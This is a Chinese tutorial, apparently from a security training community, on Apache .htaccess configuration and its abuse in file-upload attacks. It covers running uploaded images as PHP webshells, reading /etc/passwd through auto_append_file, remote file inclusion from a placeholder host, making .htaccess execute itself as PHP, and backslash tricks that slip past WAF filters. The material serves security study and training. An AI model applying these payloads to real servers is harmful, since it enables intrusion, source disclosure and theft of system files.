前言
做过我们文件上传靶场的同学呢应该都知道,我们可以通过上传一个内容为AddType application/x-httpd-php .jpg
的.htaccess文件,从而让我们上传的藏有一句话木马的jpg图片以PHP的方式执行。仅仅一句话就能做到这种事情,那么显而易见,它能做的事情远不止于此。
什么是htaccess文件
.htaccess文件是apache的分布式配置文件。他负责相关目录下的网页配置,通过.htaccess可以帮我们实现。必须以ASCII模式上传,并且给其可读性。
.htaccess可以帮我们实现:
-
网页301重定向
-
自定义404错误页面
-
改变文件扩展名
-
允许/阻止特定的用户或者目录的访问
-
禁止目录列表
-
封禁特定IP地址的用户
-
只允许特定IP地址的用户
-
以及使用其他文件作为index文件配置默认文档等功能。
一般情况下,不应该使用.htaccess文件,除非对主配置文件没有访问权限。用户认证不但能使用.htaccess文件实现,把用户认证写在主配置文件中是完全可行的,而且是一种很好的方法。
任何希望放在.htaccess 文件中的配置,都可以在主配置文件的<Directory>段中,而且更高效。
避免使用.htaccess文件有两个主要原因:
-
性能
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录查找.htaccess文件,无论是否找到,启用都会导致性能下降。另外,对每一个请求,都需要读取一次.htaccess文件,还有Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用
例如:
如果请求/www/htdocs/example中的页面,Apache必须查找以下文件:
/.htaccess /www/.htaccess /www/htdocs/.htaccess /www/htdocs/example/.htaccess -
安全。这样会允许用户自己修改服务器的配置,这会导致某些意想不到的修改。
注意:在/www/htdocs/example目录下的.htaccess文件中的放置指令,与在主配置文件中<Directory /www/htdocs/example>段中放置相同的指令,是完全等效的。
值得注意的是,.htaccess文件中也存在
#
单行注释,并且可以通过\
将上下两行拼接,这是一个可以利用的点。
AllowOverride All
通常情况下,启动 .htaccess,需要在服务器的主配置文件中将 AllowOverride 设置为 All,例如在 apache2.conf 中:
-
AllowOverride All
这行允许重写配置文件。也就是如果能够从.htaccess加载配置文件,那么就以.htaccess为配置文件对其所在目录进行配置。
也可以通过 AccessFileName 将 .htaccess 修改为其他名:
-
AccessFileName .config # 将.htaccess修改为.config
如果你租用了云服务提供商的主机或者空间,那么他们可能不会给你读写httpd.conf文件的权限,你也不可能检查AllowOverride命令参数是否为All,这时,你可以新建一个目录,在里面写一个.htaccess文件,文件中随意写入一些服务器看不懂的东西,然后访问该目录里的一个页面,耐心等待500错误的出现。如果没有出现,那么.htaccess没有被启用,你需要向你的服务供应商寻求帮助;如果出现了,那么恭喜你,你可以对当前目录重写Apache配置。 /!\注意:.htaccess语法错误可能会影响整个站点,如果你不确定这样做是否安全,请联系你的云服务供应商。
有用的文档
-
.htaccess正则表达式
-
HTTP协议重定向编码
.htaccess的常见指令
拒绝所有访问
-
## Apache 2.2
-
# Deny from all
-
## Apache 2.4
-
Require all denied
拒绝所有访问(排除部分)
-
## Apache 2.2
-
# Order deny,allow
-
# Deny from all
-
# Allow from xxx.xxx.xxx.xxx
-
## Apache 2.4
-
Require all denied
-
Require ip 127.0.0.1
不难发现,设置成127.0.0.1以后,在虚拟机可以正常访问upload目录下的1.php,在本机无法访问到1.php
屏蔽爬虫/恶意访问
-
## Apache 2.2
-
# Order deny,allow
-
# Allow from all
-
# Deny from xxx.xxx.xxx.xxx
-
# Deny from xxx.xxx.xxx.xxy
-
## Apache 2.4
-
Require all granted
-
Require not ip xxx.xxx.xxx.xxx
-
Require not ip xxx.xxx.xxx.xxy
AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
-
AddType application/x-httpd-php .xxx
-
做过文件上传靶场第四题的应该都认识这行代码吧
AddHandler
-
AddType application/x-httpd-php .jpg,则.jpg文件也可以执行php程序
-
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理
-
这两个其实效果差不多
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理
用法
-
ForceType application/x-httpd-php
-
SetHandler application/x-httpd-php
重定向整个网站
-
Redirect 301 / https://bbs.zkaq.cn/
-
当我访问127.0.0.1/upload/1.php时
-
它自动重定向到我们掌控安全的社区 https://bbs.zkaq.cn/upload/1.php
强制 HTTPS 通过代理
如果你使用了代理,这种方法对你很有用。
-
RewriteCond %{HTTP:X-Forwarded-Proto} !https
-
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
禁止IE兼容视图
-
<IfModule mod_headers.c>
-
BrowserMatch MSIE is-msie
-
Header set X-UA-Compatible IE=edge env=is-msie
-
</IfModule>
php_flag
用 php_flag设置布尔值,可以将 engine 设置为 0,在本目录和子目录中关闭 PHP 解析,造成源码泄露
.htaccess 的常见利用
.htaccess与一句话木马
也就是我们靶场文件上传的第四题
-
AddType application/x-httpd-php .jpg
让我们上传的包含一句话木马的图片,以PHP的方式解析。
源码泄露
之前提到过,将 engine 设置为 0,可以关闭本目录和子目录中的PHP解析
-
php_flag engine 0
即可直接获取目标站点的源码,造成源码泄露
文件包含
本地文件包含
当前目录下php文件头引入/etc/passwd
-
php_value auto_append_file /etc/passwd
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置php_value include_path “xxx”将include()的默认路径改变
-
php_value include_path "xxx"
举个例子,也就会输出一个好东西
-
<?php
-
ini_set("include_path","../../../../../../../../");
-
include "etc/passwd";
远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。设置好了以后
-
php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt
可以利用伪协议
需要all_url_fopen
、all_url_include
为 On
-
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
-
或
-
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
-
或
-
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"
htaccess把自己指定当做php文件处理
当前目录下有php文件
-
php_value auto_append_file .htaccess
-
#<?php phpinfo();
对于有过滤的情况我们可以使用\
号,将上下两行拼接起来
-
php_value auto_prepend_fi\
-
le .htaccess
-
#<?php phpinfo();
当前目录下无php文件
重点:需要先设置允许可访问 .htaccess 文件
-
<Files .htaccess>
-
//ForceType application/x-httpd-php
-
SetHandler application/x-httpd-php
-
Require all granted
-
php_flag engine on
-
</Files>
-
php_value auto_prepend_fi\
-
le .htaccess
-
#<?php phpinfo();
或者
-
<FilesMatch .htaccess>
-
//ForceType application/x-httpd-php
-
SetHandler application/x-httpd-php
-
Require all granted
-
php_flag engine on
-
</FilesMatch>
-
php_value auto_prepend_fi\
-
le .htaccess
-
#<?php phpinfo();
或 将 .htaccess指定当做 php文件处理,一般不用这个感觉
-
SetHandler application/x-httpd-php
-
# <?php phpinfo(); ?>
CGI执行
如果开启了cgi扩展,也可以来解析shell脚本,也就是说cgi_module 需要加载,即 apache 配置文件中有,如 apache2.conf中
-
LoadModule cgi_module modules/mod_cgi.so
在.htaccess
中
-
Options +ExecCGI #允许CGI执行
-
AddHandler cgi-script .sh
再写个
-
#!/bin/bash
-
echo "Content-Type: text/plain"
-
echo ""
-
ls /
-
exit 0
\号绕过waf
比如过滤了file,我们可以使用
-
php_value auto_prepend_fi\
-
le .htaccess
-
#<?php phpinfo();
\号绕过藏字符
假设在写入文件同时后面默认加上file_put_contents($filename, $content . "\nhappy")
,我们payload最后可以加上#\,#负责注释,
-
php_value include_path "/tmp"
-
php_value zend.multibyte 1
-
php_value zend.script_encoding "UTF-7"
-
# \
-
happy
\将注释符和脏字符连成一行,注释掉脏字符
实战中不同目录下.htaccess文件优先级的问题
我们在upload目录下创建一个.htaccess文件(图中everedit左侧)
-
AddType image/jpeg .jpg
\将注释符和脏字符连成一行,注释掉脏字符
然后在WWW目录下也创建一个.htaccess文件(图中everedit右侧)
-
AddType application/x-httpd-php .jpg
最后访问我们的图片马,会发现它是以图片形式执行的
现在我们把upload目录下的.htaccess文件的内容清空
我们发现,这次它以PHP文件执行的,那么很显然,.htaccess文件的优先级遵循就近原则,同目录下的.htaccess文件优先级更高!
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线